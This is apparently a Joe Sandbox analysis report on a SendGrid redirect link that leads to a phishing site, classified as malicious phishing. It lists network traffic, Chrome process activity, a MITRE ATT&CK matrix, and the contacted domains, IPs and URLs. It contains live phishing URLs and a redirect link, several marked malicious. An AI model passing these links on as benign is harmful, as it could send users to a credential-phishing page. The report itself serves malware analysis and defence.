Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.46.214.6:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.46.214.6:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@21/95@32/14

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1900,i,322101976962123545,3161144122731674671,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1900,i,322101976962123545,3161144122731674671,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://recaptcha.net	0%	URL Reputation	safe
https://o5u7g.zleu9.com/klOBAXKkM7zxA0PBXtuGSU6IpHSSzXjjkyJZcdNfRjNwpgHUKsNeFPOpTVPLe578167	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/45lqabaypR8xixiJ6pi09abYdPVRJTWCXvw70	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/ioA9WkaHpGHbSxWyGOmyjZ4CeUqai9zYvvo9IvKLdFjDvXel	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/56AdOYKMMLgoJxyRlCwu18915	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/efhiWlN0k9o3QYTD34NIiKf6YeHKyzkl100	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/wxU2EPAQmKCucHi94Nct3opto7kIWmKk6EPt8vWRE90180	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/mndHSfQb7XvbrLZM9aX9ijbdgEYSAxo5cJl78150	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/favicon.ico	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/90LHee5UjNMUuFaF7C23ZIhMnMnuv58	0%	Avira URL Cloud	safe
https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/hwQyLxyNOyWBlYH9r31Ztr	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/pqEwuigvKgPpV6LFzQ34GsmKuv38	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/90HTVtl1EQGeUVQ777gjOfGgcdMHIfEQyz73	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/12K3yC85Zl4Gjr78g8Ljxqr50	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/O5u7Gw/?Z	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/3409ErMmbVIWH6V2dQUQwijgLL2yQXIIAO89104	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220	0%	Avira URL Cloud	safe
https://o5u7g.zleu9.com/xyt4uiudpq34gh30	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		unknown
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false		unknown
a.nel.cloudflare.com	35.190.80.1	true	false		high
code.jquery.com	151.101.194.137	true	false		high
d2vgu95hoyrpkh.cloudfront.net	99.84.108.67	true	false		high
challenges.cloudflare.com	104.17.2.184	true	false		high
www.google.com	74.125.136.103	true	false		high
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false		high
o5u7g.zleu9.com	172.67.143.205	true	false		unknown
u44056869.ct.sendgrid.net	167.89.123.16	true	false		high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false		unknown
public-usa.mkt.dynamics.com	unknown	unknown	false		high
assets-usa.mkt.dynamics.com	unknown	unknown	false		high
cdn.socket.io	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://o5u7g.zleu9.com/wxU2EPAQmKCucHi94Nct3opto7kIWmKk6EPt8vWRE90180	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/879066af2d254527/1713902022573/2c54c2e92cd6a1adf7ce103072c3ed1a2e53daac1a2c103e1868b6da0e2a356b/KqKxEDIwFgWsKX_	false		high
https://o5u7g.zleu9.com/ioA9WkaHpGHbSxWyGOmyjZ4CeUqai9zYvvo9IvKLdFjDvXel	false	Avira URL Cloud: safe	unknown
https://assets-usa.mkt.dynamics.com/favicon.ico	false		high
https://o5u7g.zleu9.com/efhiWlN0k9o3QYTD34NIiKf6YeHKyzkl100	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM#	true		unknown
https://o5u7g.zleu9.com/mndHSfQb7XvbrLZM9aX9ijbdgEYSAxo5cJl78150	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/45lqabaypR8xixiJ6pi09abYdPVRJTWCXvw70	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/O5u7Gw/	true		unknown
https://a.nel.cloudflare.com/report/v4?s=Y7V3%2Fn6U%2F5sNHmUZQd93nQsa0GOvwG2%2FnqGaIIa3ZNHQALwgfFQn6mtTnUbnh%2FBXtTQtKsu87S%2BaRDTq9bT4tnQtuKBX8wJwnMeo9eLg6qB%2BCQn5lwebysOUTfRuAA%3D%3D	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206	false		high
https://a.nel.cloudflare.com/report/v4?s=HuGAIXqQUHUwoTYEVZ%2FLXVAHfKcrKLZho2oWL0hdPyB1xFXQKec8fDnsXSoBen%2FANSad0as%2Be%2FJL41ZAJLMLZek3%2FbwBkF45GMNcZomG6tN9WvynUFWaQKraFvhQ3A%3D%3D	false		high
https://www.google.com/recaptcha/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://o5u7g.zleu9.com/klOBAXKkM7zxA0PBXtuGSU6IpHSSzXjjkyJZcdNfRjNwpgHUKsNeFPOpTVPLe578167	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/56AdOYKMMLgoJxyRlCwu18915	false	Avira URL Cloud: safe	unknown
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6	false		high
https://o5u7g.zleu9.com/uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/879066af2d254527/1713902022571/cfsO0aDF5k_W65H	false		high
https://o5u7g.zleu9.com/opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	false		high
https://o5u7g.zleu9.com/oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=879066af2d254527	false		high
https://o5u7g.zleu9.com/90LHee5UjNMUuFaF7C23ZIhMnMnuv58	false	Avira URL Cloud: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false		high
https://o5u7g.zleu9.com/uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM	true		unknown
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288	false		high
https://o5u7g.zleu9.com/pqEwuigvKgPpV6LFzQ34GsmKuv38	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/12K3yC85Zl4Gjr78g8Ljxqr50	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/hwQyLxyNOyWBlYH9r31Ztr	false	Avira URL Cloud: safe	unknown
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpageforms/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288/visits	false		high
https://o5u7g.zleu9.com/90HTVtl1EQGeUVQ777gjOfGgcdMHIfEQyz73	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/O5u7Gw/?Z	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/3409ErMmbVIWH6V2dQUQwijgLL2yQXIIAO89104	false	Avira URL Cloud: safe	unknown
https://o5u7g.zleu9.com/xyt4uiudpq34gh30	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_119.2.dr	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3	chromecache_120.2.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_119.2.dr	false		high
https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ec	chromecache_126.2.dr, chromecache_122.2.dr, chromecache_101.2.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_119.2.dr	false		high
https://cloud.google.com/contact	chromecache_119.2.dr	false		high
https://public-usa.mkt.dynamics.com/api/v1.0/orgs/4df527c8-5afd-ee11-9048-000d3a10682d/landingpagefo	chromecache_120.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_119.2.dr	false		high
https://www.google.com/recaptcha/api2/	chromecache_115.2.dr, chromecache_119.2.dr	false		high
https://support.google.com/recaptcha	chromecache_119.2.dr	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_119.2.dr	false		high
https://recaptcha.net	chromecache_119.2.dr	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	chromecache_119.2.dr	false		high
https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.	chromecache_119.2.dr	false	Avira URL Cloud: safe	low
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_119.2.dr	false		high
https://O5u7G.zleu9.com/O5u7Gw/	chromecache_126.2.dr, chromecache_122.2.dr, chromecache_101.2.dr	true		unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_119.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_119.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.107.246.41	part-0013.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
167.89.123.16	u44056869.ct.sendgrid.net	United States		11377	SENDGRIDUS	false
172.253.124.99	unknown	United States		15169	GOOGLEUS	false
99.84.108.67	d2vgu95hoyrpkh.cloudfront.net	United States		16509	AMAZON-02US	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.3.184	unknown	United States		13335	CLOUDFLARENETUS	false
172.67.143.205	o5u7g.zleu9.com	United States		13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
13.107.213.41	unknown	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.125.136.103	www.google.com	United States		15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States		54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false
104.17.2.184	challenges.cloudflare.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430564
Start date and time:	2024-04-23 21:52:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@21/95@32/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.215.94, 142.250.105.84, 172.253.124.139, 172.253.124.100, 172.253.124.101, 172.253.124.138, 172.253.124.102, 172.253.124.113, 34.104.35.123, 13.85.23.86, 199.232.210.172, 192.229.211.108, 199.232.214.172, 20.166.126.56, 13.95.31.18, 20.3.187.198, 142.250.105.94, 23.45.182.76, 23.45.182.100, 64.233.177.95, 142.250.105.95, 142.250.9.95, 173.194.219.95, 74.125.136.95, 74.125.138.95, 64.233.176.95, 64.233.185.95, 172.217.215.95, 108.177.122.95, 172.253.124.95, 142.251.15.95, 104.91.175.71, 104.91.175.30, 64.233.176.101, 64.233.176.100, 64.233.176.139, 64.233.176.113, 64.233.176.102, 64.233.176.138, 104.97.85.48, 104.97.85.51, 104.97.85.41, 104.97.85.46, 104.97.85.42, 104.97.85.47, 104.97.85.44, 104.97.85.38, 104.97.85.50
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, assets-mkt-usa.azureedge.net, clientservices.googleapis.com, a767.dspw65.akamai.net, cxppusa1im4t7x7z5iubq.trafficmanager.net, clients2.google.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, assets-mkt-usa.afd.azureedge.net, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, cxppusa1formui01cdnsa01-endpoint.azureedge.net, clients.l.google.com, cxppusa1formui01cdnsa01-endpoint.afd.azureedge.net
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
